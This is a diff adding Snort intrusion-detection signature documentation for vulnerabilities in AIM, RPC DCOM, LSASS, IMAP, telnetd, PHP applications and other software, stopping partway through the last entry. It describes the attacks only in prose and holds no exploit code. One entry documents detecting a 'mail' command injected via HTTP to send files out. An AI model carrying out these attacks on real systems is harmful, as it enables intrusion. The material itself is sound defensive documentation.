--- snort-2.8.5.2.orig/doc/signatures/378.txt
+++ snort-2.8.5.2/doc/signatures/378.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+378
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running Ping-O-Meter software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running Ping-O-Meter software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS164
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3085.txt
+++ snort-2.8.5.2/doc/signatures/3085.txt
@@ -0,0 +1,59 @@
+Rules:
+
+--
+Sid:
+3085
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with AOL Instant Messenger (AIM) goaway message.
+
+--
+Impact:
+Serious. Execution of arbitrary commands may be possible.
+
+--
+Detailed Information:
+AIM is instant messaging software supplied by AOL Time Warner. A malicious
+URL offered in an AIM message or web page that sends an AIM client an overly
+long AIM "Away" message can cause a buffer overflow on a vulnerable client.
+This can permit the execution of arbitrary code on the client host.
+
+--
+Affected Systems:
+AOL Instant Messenger 5.5, 5.5.3415 Beta, 5.5.3595
+
+--
+Attack Scenarios:
+An attacker can send an overly long AIM "Away" message or a user could be
+enticed to view a site that embeds such a message.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+A Metasploit attack that exploits this vulnerability uses an HTTP port of
+8080.  Other HTTP ports can be used for this attack as well.
+
+--
+Corrective Action:
+Upgrade to the most current nonaffected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+iDefense:
+http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities
+--
--- snort-2.8.5.2.orig/doc/signatures/1238.txt
+++ snort-2.8.5.2/doc/signatures/1238.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1238
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1538.txt
+++ snort-2.8.5.2/doc/signatures/1538.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1538
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Cassandra NNTP server.
+
+--
+Impact:
+Denial of Service (DoS) 
+
+--
+Detailed Information:
+A vulnerability exists in the Cassandra NNTP server for Windows such
+that an unusually long login name will cause a DoS condition to occur.
+This is due to an unchecked buffer in the code that handles login
+attempts. A login name that exceeds 10 000 characters will trigger the
+overflow.
+
+--
+Affected Systems:
+	Atrium Software Cassandra NNTP Server 1.10
+
+--
+Attack Scenarios:
+An attacker needs to supply a login username containing 10 000 or more
+characters to cause the DoS.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1156
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0341
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1680.txt
+++ snort-2.8.5.2/doc/signatures/1680.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1680
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3337.txt
+++ snort-2.8.5.2/doc/signatures/3337.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3337
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2508.txt
+++ snort-2.8.5.2/doc/signatures/2508.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2508
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000317.txt
+++ snort-2.8.5.2/doc/signatures/100000317.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+100000317
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "phpBazar" application running on a webserver. 
+Access to the file "classified_right.php" using a remote file being passed as 
+the "language_dir" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "language_dir" parameter in the "classified_right.php" 
+script used by the "phpBazar" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpBazar
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1874.txt
+++ snort-2.8.5.2/doc/signatures/1874.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1874
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/508.txt
+++ snort-2.8.5.2/doc/signatures/508.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+508
+
+--
+Summary:
+This event is generated when a Gopher server is used as a proxy to connect to an FTP server.
+
+--
+Impact:
+This allows a user to assume the source IP of the Gopher server when connecting to an FTP server.
+
+--
+Detailed Information:
+A Gopher server may support proxy connections to FTP servers.  This allows a user to assume the source IP of the Gopher server when connecting to an FTP server.  This may be used to bypass FTP access restrictions based on source IP's.  
+
+--
+Affected Systems:
+Any Gopher server that supports proxy connections to FTP servers.
+
+--
+Attack Scenarios:
+A user who is normally restricted access to an FTP server based on the originating IP may attempt to circumvent this by attempting access from a Gopher server that supports proxy connections to FTP servers.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+This even will trigger if a Gopher server suuports proxy connections to FTP servers. 
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable the use of Gopher server.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats
+www.whitehats.com/info/IDS409
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000160.txt
+++ snort-2.8.5.2/doc/signatures/100000160.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+100000160
+
+-- 
+Summary: 
+This event is generated when an abnormally larger number of packets are 
+received from a single source by an SIP-enabled host in a short period of time.
+
+--
+Impact:
+This can be an indication of a denial of service attack in progress.
+
+--
+Detailed Information:
+This rule is designed to detect overly large amounts of traffic coming from a 
+single host to the SIP port on an internal host, as it is possible to cause a 
+denial of service by sending a large number of packets with invalid data.
+
+--
+Affected Systems:
+Any which implement the SIP protocol.
+
+--
+Attack Scenarios:
+An attacker could use a script to flood a system with invalid messages, causing 
+a denial of service.
+
+--
+Ease of Attack:
+Simple, as it is trivial to write a script to generate random data.
+
+--
+False Positives:
+Known SIP proxies may receive a high volume of legitimate data, and NAT devices 
+may appear to be sending a larger amount of data than a regular host. It is 
+recommended that users whitelist known SIP proxies and NAT devices.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a firewall or other access-restriction device to block unwanted messages at 
+your network's border.
+
+--
+Contributors:
+Jiri Markl <jiri.markl@nextsoft.cz>
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1367.txt
+++ snort-2.8.5.2/doc/signatures/1367.txt
@@ -0,0 +1,56 @@
+Rule: 
+
+--
+Sid: 1367
+
+-- 
+Summary: 
+This event is generated when execution of a "mail" command is attempted via HTTP.
+
+-- 
+Impact: 
+Possible intelligence gathering. This may be an attempt to gain information using mail to access sensitive files on a webserver.
+
+-- 
+Detailed Information: 
+This may be an attempt to gain intelligence from sensitive system files on a webserver. This rule generates an event when a "mail" command followed by a space is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. 
+
+The "mail" command is used to read and send email on UNIX systems. The rule looks for the "mail" command in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the "mail" command in the URL indicates that an attacker attempted to trick the web server into executing a system command in non-interactive mode i.e. without a valid shell session. 
+
+This rule may also generate an event if it detects this command in an unencrypted HTTP tunneling connection to the server or a shell connection through an exploit of the web server.
+
+-- 
+Attack Scenarios: 
+The attacker can make a standard HTTP request that contains the path to the "mail" command in the URI, which can then return requested files to an external destination.
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+False Positives: 
+This event may be generated if "mail" followed by a space is present in a URI. For example, http://www.foo.com/mail /file.html
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Webservers should not be allowed to view or execute files and binaries outside of its designated web root or cgi-bin.
+
+This command may also be requested on a command line should the attacker gain access to the machine. 
+
+Non-essential binaries should be removed from a webserver once it is in production.
+
+--
+Contributors: 
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000849.txt
+++ snort-2.8.5.2/doc/signatures/100000849.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+100000849
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "IceWarp" application running on a webserver. Access to the file "include.php" using a remote file being passed as the "language" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "language" parameter in the "include.php" script used by the "IceWarp" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using IceWarp
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000514.txt
+++ snort-2.8.5.2/doc/signatures/100000514.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000514
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "SAPHPLesson" application running on a webserver. Access 
+to the file "misc.php" with SQL commands being passed as the "action" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "action" parameter in the "misc.php" script used by the 
+"SAPHPLesson" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SAPHPLesson
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3455.txt
+++ snort-2.8.5.2/doc/signatures/3455.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+3455
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Bontago Game Server.
+
+--
+Impact:
+Serious. Code execution and Denial of Service (DoS) are possible.
+
+--
+Detailed Information:
+The Bontago game server does not properly sanitize user nicknames.
+Sucessful exploitation of this error may present an attacker with the
+opportunity to overflow a buffer which may then lead to remote code
+execution and possible DoS.
+
+--
+Affected Systems:
+	Bontago Game Server 1.1 and prior
+
+--
+Attack Scenarios:
+An attacker can supply a nickname to the server that exceeds the static
+buffer length assigned to handle this value.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1844.txt
+++ snort-2.8.5.2/doc/signatures/1844.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1844
+
+--
+Summary:
+This event is generated when a remote attacker sends an overly long
+argument in the AUTHENTICATE command to an internal IMAP server,
+indicating an attempt to exploit a buffer overflow vulnerability in
+Netscape Messaging Server and University of Washington IMAP
+implementations. This may also affect other IMAP server implementations.
+
+--
+Impact:
+Remote execution of arbitrary code with the security privileges of the
+IMAP process, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+A buffer overflow vulnerability exists in the AUTHENTICATE command in
+University of Washington IMAP and Netscape Messaging Server. This can
+allow a remote attacker to send an AUTHENTICATE command with a
+malformed, overlong argument to a vulnerable IMAP server, causing a
+buffer overflow condition. The attacker can then execute arbitrary code
+on the server with the security privileges of the IMAP server process. 
+
+--
+Affected Systems:
+	Netscape Messaging Server 3.55 and earlier
+	University of Washington imapd 10.234 and earlier.
+
+--
+Attack Scenarios:
+An attacker sends an overly long, malformed argument to an AUTHENTICATE
+command to a vulnerable IMAP server, causing a buffer overflow
+condition. The attacker is then able to execute arbitrary code on the
+server with the security privileges of the IMAP server process.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Patches have been released for both UW IMAP and Netscape Messaging
+Server. Apply the patch or upgrade to a Netscape Messaging Server
+version higher than 3.55 or UW IMAP version higher than 10.234.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/130
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0005
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2092.txt
+++ snort-2.8.5.2/doc/signatures/2092.txt
@@ -0,0 +1,86 @@
+Rule:
+
+--
+Sid:
+2092
+
+--
+Summary:
+vulnerability in xdrmem_getbytes used by XDR in RPC portmap services.
+
+--
+Impact:
+System compromise, denial of service, execution of arbitrary code, 
+information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in various implementations of external data 
+representation (XDR) libraries. An integer overflow in a component 
+(xdrmem_getbytes) used by XDR can lead to a buffer overflow.
+
+The XDR libraries are widely used by multiple vendors to provide a 
+framework for data transmission across networks. This is most commonly 
+used in RPC implementations.
+
+A specially crafted rpc request can lead to remote system compromise and
+super user access to the target host. Additionally, a denial of service 
+and execution of arbitrary code with the privilege of the super user is 
+also possible.
+
+--
+Affected Systems:
+Multiple vendors including all those using:
+	Sun Microsystems Network Services Library (libnsl)
+	GNU C library with sunrpc (glibc)
+	BSD-derived libraries with XDR/RPC routines (libc)
+
+--
+Attack Scenarios:
+The attacker needs to send a specially crafted rpc request to the target
+host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade the vendor libraries to the latest non-affected versions. Any 
+statically linked binaries and applications must be recompiled and 
+restarted after the upgrade.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7123
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0028
+
+CERT:
+http://www.cert.org/advisories/CA-2003-10.html
+http://www.kb.cert.org/vuls/id/516825
+http://www.kb.cert.org/vuls/id/192995
+
+--
--- snort-2.8.5.2.orig/doc/signatures/966.txt
+++ snort-2.8.5.2/doc/signatures/966.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+966
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1253.txt
+++ snort-2.8.5.2/doc/signatures/1253.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1253
+
+--
+Summary:
+This event is generated after a sucessful exploit of the BSD derived Telnet daemon.
+
+--
+Impact:
+Remote root access.  This may or may not indicate a successful root 
+compromise of a telnet server.
+
+--
+Detailed Information:
+This event is generated after a possible sucessful attempt to compromise
+a server running a BSD derived version of Telnet. A buffer overflow
+condition exists that may present an attacker with the opportunity to
+execute code of their choosing.
+
+The attacker does not need to login to the server to exploit this
+vulnerability, only a connection to the server is needed.
+
+--
+Affected Systems:
+	Multiple Vendor Telnet servers running versions of telnetd derived
+	from the BSD telnet daemon.
+
+--
+Attack Scenarios:
+An attacker may utilize one of the available exploit scripts.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are publicly available. This vulnerability may
+also be exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Consider using Secure Shell instead of telnet.
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2344.txt
+++ snort-2.8.5.2/doc/signatures/2344.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2344
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ArGoSoft FTP Server.
+
+--
+Impact:
+Execution of arbitrary code. Possible unauthorized administrative access.
+
+--
+Detailed Information:
+ArGoSoft FTP Server fails to perform sufficient checks on user supplied data to the
+XCWD command. An attacker may exploit this vulnerability to execute code of
+their choosing as the user running the process. This may lead to remote
+administrative access to the server.
+
+--
+Affected Systems:
+	ArGoSoft FTP Server 1.4.1 .1
+
+--
+Attack Scenarios:
+An attacker may connect to the server and supply spurious data to the
+XCWD command causing the overrun to occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2885.txt
+++ snort-2.8.5.2/doc/signatures/2885.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2885
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
